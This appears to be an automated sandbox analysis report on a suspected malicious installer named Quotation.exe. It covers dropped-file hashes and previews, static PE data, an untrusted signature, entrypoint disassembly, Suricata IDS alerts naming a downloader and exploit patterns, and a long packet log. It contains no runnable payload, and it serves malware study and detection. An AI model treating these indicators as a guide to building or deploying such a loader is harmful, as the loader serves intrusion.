SHA-512:	2B643014E8623CADBA7CE78B91D3C751D60FCBF3FA69FA26F29A14E55679FC6A5C2074834B2496773A1756E3172EC7C898E2DF29CB4A0513DBF8BC0DCDDA7E04
Malicious:	false
Preview:	.......].....................................................S....................................^.4....................=.b.........................................................................o....O..................O........................t..............................I.................................................................;......................................m...................A.....................................i.........................................=...............................................................................................u..&...............................v............=................v...............p...............O.......'.............................K........................;............m......P................x.f....................K[.(..A..........#........................J..L........................i........................X................................................................................N..............f.........

C:\Users\user\overlays\besvangredes\regill.ful

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	489048
Entropy (8bit):	1.245615736901525
Encrypted:	false
SSDEEP:	1536:HMtjgMjMD1whyMu1IXCVAcFNpruXO+nBJH:stjgmYi03XDL+nBJ
MD5:	B4FB425BAF217F31E91AAB39ABF66DCD
SHA1:	03DE3BD0F923AB14213B6C4461C5CA73A0A6371C
SHA-256:	4BC57A47B82B63EC20B393F65F3585EB81FE3F7748229CD19DEC8FE8A41D67C3
SHA-512:	E72395FD6098130EFD543C5941781A1AA80FCE17C7701CB40FA8874271E0D43E0F7F082EBF5D458181287DE41CF4B34F88DCAABE84D8AD51003EF5DA1495D871
Malicious:	false
Preview:	.............9.....................A..............Z...........=.........................................................h...'.........................................................L..............................................p..C...........................,...................................p..........S............................................................................{............................................(.........C...^.......................................U.........~................................................z.....................................A................................................]..........i.............,....................................g..............................3......K.....................u..............................................................H.t....................................................................................................................`.............................)1.............q..............4....

C:\Users\user\overlays\besvangredes\sortlistningens.txt

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	4.247837387326688
Encrypted:	false
SSDEEP:	6:r8pLNAsEyv1WABlvMW9uu+IXvVJyQXPhXOQemtNxgFUvNwmA6AQOp2jMPA9cnb:ruJAOgABlQuTXbyKhXOLmtLgHmFOYjMV
MD5:	46003C65AA12A0EBE55662F0141186DC
SHA1:	739652C3375018DAFFB986302A7D3E8D32770B41
SHA-256:	2EA079DEDE1B356842C5F5E0751B5E2B6565FDED65DAFB59A73D170C002ABB27
SHA-512:	59D394789F9EECE97873D56AEA64F353D3E13E007E4ACBD396AC76CB68E91494EB65888049EF05CBE9B20597ADADCC960D067F90AAD3EA5AA46AC3A82F5B82FD
Malicious:	false
Preview:	degageredes indtgters commencing subfunctional rubiator startkatalogernes dismasted outsport..surkaalen syndedes turtledoving,leddelsestes obs jernholdigt normsammenbruds.azotite hestesko hvilkes snrkels enstatitite nappes,slangudtrykkets squills consonantising windchest interpretableness lynkrigen..vinders drikkegildet orgal snakkehjrnets responders etageejendommens..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.81503713013307
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Quotation.exe
File size:	1'208'728 bytes
MD5:	9ed064f0feb2397bb999563751c20b92
SHA1:	810d6882ab53614c20950da17021650fed89f5d8
SHA256:	f849a928785cb16a719369fbe98c9246bc84d634f3547467a3223fa148a6b09b
SHA512:	ef7d103dad237045980181b85ddc6b0d4ffbbcbdf38eb2a56b09823baae143f52c336f89ec45bd872f7dca255156b9f44208e979e37f0995a18fc7f2de359ffd
SSDEEP:	24576:S4nhDoAFq5Avnh/KPGB8mTyBNFX3FZNXLGQ7WczkxFnfbP9:S+hkT6vnh/J8oy5X3PNXKQKczg
TLSH:	B845222932B6D08BD6824A3C4BF3E735DE7DEE143D26942777712F4E9D30288AE46650
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............o...o...o...k...o...i...o...n...o...n...o.I.k...o.I.....o.I.m...o.Rich..o.................PE..L...!.*c.................n.

File Icon


Icon Hash:	873335651170390f

Static PE Info

General

Entrypoint:	0x4036da
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x632AE721 [Wed Sep 21 10:27:45 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3f91aceea750f765ef2ba5d9988e6a00

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Teaberries, O=Teaberries, L=Le Pas, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	12/03/2024 02:52:12 12/03/2027 02:52:12
Subject Chain	CN=Teaberries, O=Teaberries, L=Le Pas, C=FR
Version:	3
Thumbprint MD5:	20BF21B5BB8BD4ADC8241FBC132F153B
Thumbprint SHA-1:	7B90FE6EFB81F5301AE4609BDA23D016FBE84269
Thumbprint SHA-256:	FC9FF8A2D1437A37705EDB7D9B016A35F2B22465B8BECAD31D75739BDE5A03A2
Serial:	7565486B99A8B4326594078BB65FCED341D7D33E

Entrypoint Preview

Instruction
sub esp, 000003ECh
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov edi, 00408528h
push 00008001h
mov dword ptr [esp+14h], ebx
mov ebp, ebx
call dword ptr [00408170h]
mov esi, dword ptr [004080ACh]
lea eax, dword ptr [esp+2Ch]
xorps xmm0, xmm0
mov dword ptr [esp+40h], ebx
push eax
movlpd qword ptr [esp+00000144h], xmm0
mov dword ptr [esp+30h], 0000011Ch
call esi
test eax, eax
jne 00007FEF74529189h
lea eax, dword ptr [esp+2Ch]
mov dword ptr [esp+2Ch], 00000114h
push eax
call esi
push 00000053h
pop eax
mov dl, 04h
mov byte ptr [esp+00000146h], dl
cmp word ptr [esp+40h], ax
jne 00007FEF74529163h
mov eax, dword ptr [esp+5Ah]
add eax, FFFFFFD0h
mov word ptr [esp+00000140h], ax
jmp 00007FEF7452915Dh
xor eax, eax
jmp 00007FEF74529144h
mov dl, byte ptr [esp+00000146h]
cmp dword ptr [esp+30h], 0Ah
jnc 00007FEF7452915Dh
movzx eax, word ptr [esp+38h]
mov dword ptr [esp+38h], eax
jmp 00007FEF74529156h
mov eax, dword ptr [esp+38h]
mov dword ptr [007A8638h], eax
movzx eax, byte ptr [esp+30h]
shl ax, 0008h
movzx ecx, ax
movzx eax, byte ptr [esp+34h]
or ecx, eax
movzx eax, byte ptr [esp+00000140h]
shl ax, 0008h
shl ecx, 10h
movzx eax, word ptr [eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8a00	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3db000	0x3e910	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x125fa0	0x11f8	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6c0b	0x6e00	9178309eee1a86dc5ef945d6826a6897	False	0.6605823863636363	data	6.398414552532143	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1896	0x1a00	0885e83a553c38819d1fab2908ca0cf5	False	0.4307391826923077	data	4.86610208699674	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39e640	0x200	5c0f03a1a77f205400c2cbabec9976c4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a9000	0x32000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3db000	0x3e910	0x3ea00	2690c3c0c1de505f961321c7e2d6da34	False	0.6915076097804391	data	6.574790239627466	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3db388	0x16482	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.000394451383867
RT_ICON	0x3f1810	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.486498876138649
RT_ICON	0x402038	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.5308492747529956
RT_ICON	0x40b4e0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.5497227356746766
RT_ICON	0x410968	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.5415682569674067
RT_ICON	0x414b90	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5884854771784233
RT_ICON	0x417138	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6179643527204502
RT_ICON	0x4181e0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6668032786885246
RT_ICON	0x418b68	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7287234042553191
RT_DIALOG	0x418fd0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x4190d0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x4191f0	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x4192b8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x419318	0x84	Targa image data - Map 32 x 25730 x 1 +1	English	United States	0.7348484848484849
RT_VERSION	0x4193a0	0x220	data	English	United States	0.5110294117647058
RT_MANIFEST	0x4195c0	0x349	XML 1.0 document, ASCII text, with very long lines (841), with no line terminators	English	United States	0.5529131985731273

Imports

DLL	Import
ADVAPI32.dll	RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegEnumKeyW, RegEnumValueW, RegQueryValueExW, RegSetValueExW, OpenProcessToken, AdjustTokenPrivileges, LookupPrivilegeValueW, SetFileSecurityW, RegCreateKeyExW, RegOpenKeyExW
SHELL32.dll	ShellExecuteExW, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, SHGetSpecialFolderLocation
ole32.dll	OleInitialize, OleUninitialize, CoTaskMemFree, IIDFromString, CoCreateInstance
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	DispatchMessageW, wsprintfA, SystemParametersInfoW, SetClassLongW, GetWindowLongW, GetSysColor, ScreenToClient, SetCursor, GetWindowRect, TrackPopupMenu, AppendMenuW, EnableMenuItem, CreatePopupMenu, GetSystemMenu, GetSystemMetrics, IsWindowEnabled, EmptyClipboard, SetClipboardData, CloseClipboard, OpenClipboard, CheckDlgButton, EndDialog, DialogBoxParamW, IsWindowVisible, SetWindowPos, CreateWindowExW, GetClassInfoW, PeekMessageW, CallWindowProcW, GetMessagePos, CharNextW, ExitWindowsEx, SetWindowTextW, SetTimer, CreateDialogParamW, DestroyWindow, LoadImageW, FindWindowExW, SetWindowLongW, InvalidateRect, ReleaseDC, GetDC, SetForegroundWindow, EnableWindow, GetDlgItem, ShowWindow, IsWindow, PostQuitMessage, SendMessageTimeoutW, SendMessageW, wsprintfW, FillRect, GetClientRect, EndPaint, BeginPaint, DrawTextW, DefWindowProcW, SetDlgItemTextW, GetDlgItemTextW, CharNextA, MessageBoxIndirectW, RegisterClassW, CharPrevW, LoadCursorW
GDI32.dll	SetBkMode, CreateBrushIndirect, GetDeviceCaps, SelectObject, DeleteObject, SetBkColor, SetTextColor, CreateFontIndirectW
KERNEL32.dll	WriteFile, GetLastError, WaitForSingleObject, GetExitCodeProcess, GetTempFileNameW, CreateFileW, CreateDirectoryW, WideCharToMultiByte, lstrlenW, lstrcpynW, GlobalLock, GlobalUnlock, CreateThread, GetDiskFreeSpaceW, CopyFileW, GetVersionExW, GetWindowsDirectoryW, ExitProcess, GetCurrentProcess, CreateProcessW, GetTempPathW, SetEnvironmentVariableW, GetCommandLineW, GetModuleFileNameW, GetTickCount, GetFileSize, MultiByteToWideChar, MoveFileW, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, lstrcmpiW, lstrcmpW, MulDiv, GlobalFree, GlobalAlloc, LoadLibraryExW, GetModuleHandleW, FreeLibrary, Sleep, CloseHandle, SetFileTime, SetFilePointer, SetFileAttributesW, ReadFile, GetShortPathNameW, GetFullPathNameW, GetFileAttributesW, FindNextFileW, FindFirstFileW, FindClose, DeleteFileW, CompareFileTime, SearchPathW, SetCurrentDirectoryW, ExpandEnvironmentStringsW, RemoveDirectoryW, GetSystemDirectoryW, MoveFileExW, GetModuleHandleA, GetProcAddress, lstrcmpiA, lstrcpyA, lstrcatW, SetErrorMode

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-04T10:00:13.349949+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.5	49704	TCP
2024-11-04T10:00:28.263870+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49767	142.250.186.174	443	TCP
2024-11-04T10:00:52.036491+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.5	49888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 10:00:26.783416033 CET	49767	443	192.168.2.5	142.250.186.174
Nov 4, 2024 10:00:26.783427000 CET	443	49767	142.250.186.174	192.168.2.5
Nov 4, 2024 10:00:26.783535004 CET	49767	443	192.168.2.5	142.250.186.174
Nov 4, 2024 10:00:26.791717052 CET	49767	443	192.168.2.5	142.250.186.174
Nov 4, 2024 10:00:26.791731119 CET	443	49767	142.250.186.174	192.168.2.5
Nov 4, 2024 10:00:27.644102097 CET	443	49767	142.250.186.174	192.168.2.5
Nov 4, 2024 10:00:27.644169092 CET	49767	443	192.168.2.5	142.250.186.174
Nov 4, 2024 10:00:27.644826889 CET	443	49767	142.250.186.174	192.168.2.5
Nov 4, 2024 10:00:27.644885063 CET	49767	443	192.168.2.5	142.250.186.174
Nov 4, 2024 10:00:27.901628017 CET	49767	443	192.168.2.5	142.250.186.174
Nov 4, 2024 10:00:27.901639938 CET	443	49767	142.250.186.174	192.168.2.5
Nov 4, 2024 10:00:27.902004957 CET	443	49767	142.250.186.174	192.168.2.5
Nov 4, 2024 10:00:27.902070045 CET	49767	443	192.168.2.5	142.250.186.174
Nov 4, 2024 10:00:27.905908108 CET	49767	443	192.168.2.5	142.250.186.174
Nov 4, 2024 10:00:27.951338053 CET	443	49767	142.250.186.174	192.168.2.5
Nov 4, 2024 10:00:28.263916969 CET	443	49767	142.250.186.174	192.168.2.5
Nov 4, 2024 10:00:28.264049053 CET	49767	443	192.168.2.5	142.250.186.174
Nov 4, 2024 10:00:28.264483929 CET	49767	443	192.168.2.5	142.250.186.174
Nov 4, 2024 10:00:28.264522076 CET	443	49767	142.250.186.174	192.168.2.5
Nov 4, 2024 10:00:28.264662027 CET	49767	443	192.168.2.5	142.250.186.174
Nov 4, 2024 10:00:28.290769100 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:28.290791988 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:28.290879965 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:28.291122913 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:28.291131020 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:29.147655964 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:29.147799015 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:29.152369976 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:29.152375937 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:29.152600050 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:29.152687073 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:29.166377068 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:29.211338043 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.316909075 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.316999912 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.325100899 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.325182915 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.434129000 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.434202909 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.434772015 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.434833050 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.434838057 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.434884071 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.435051918 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.435117006 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.436789036 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.436851978 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.436974049 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.437041044 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.442759037 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.442809105 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.442954063 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.443005085 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.451783895 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.451843023 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.451848030 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.451889038 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.563169956 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.563235998 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.563242912 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.563298941 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.563530922 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.563580990 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.563585043 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.563633919 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.563637018 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.563684940 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.563688993 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.563740015 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.564214945 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.564294100 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.564296961 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.564368963 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.570346117 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.570413113 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.570476055 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.570543051 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.670527935 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.670578003 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.670677900 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.670684099 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.670752048 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.670752048 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.670958042 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.671148062 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.673619986 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.673701048 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.673759937 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.673823118 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.673964024 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.674015045 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.680826902 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.680902958 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.680978060 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.681027889 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.687269926 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.687319040 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.687414885 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.687464952 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.787656069 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.787779093 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.788089037 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.788232088 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.788278103 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.788331985 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.788381100 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.788427114 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.792046070 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.792090893 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.792094946 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.792139053 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.792359114 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.792407036 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.792409897 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.792493105 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.792495966 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.792541981 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.798667908 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.798808098 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.798811913 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.798923969 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.805337906 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.805447102 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.805452108 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.805541039 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.805603027 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.805643082 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.906099081 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.906184912 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.906189919 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.906246901 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.909449100 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.909506083 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.909612894 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.909663916 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.909759045 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.909800053 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.909959078 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.910005093 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.916476011 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.916533947 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.916614056 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.916654110 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.923021078 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.923063993 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.923157930 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.923198938 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.923398018 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.923434019 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:31.923438072 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:31.923476934 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.023896933 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.023968935 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.024039984 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.024092913 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.024099112 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.024152994 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.027395964 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.027445078 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.027669907 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.027714968 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.027718067 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.027759075 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.027766943 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.027808905 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.027812004 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.027849913 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.034226894 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.034287930 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.034365892 CET	443	49773	142.250.185.97	192.168.2.5
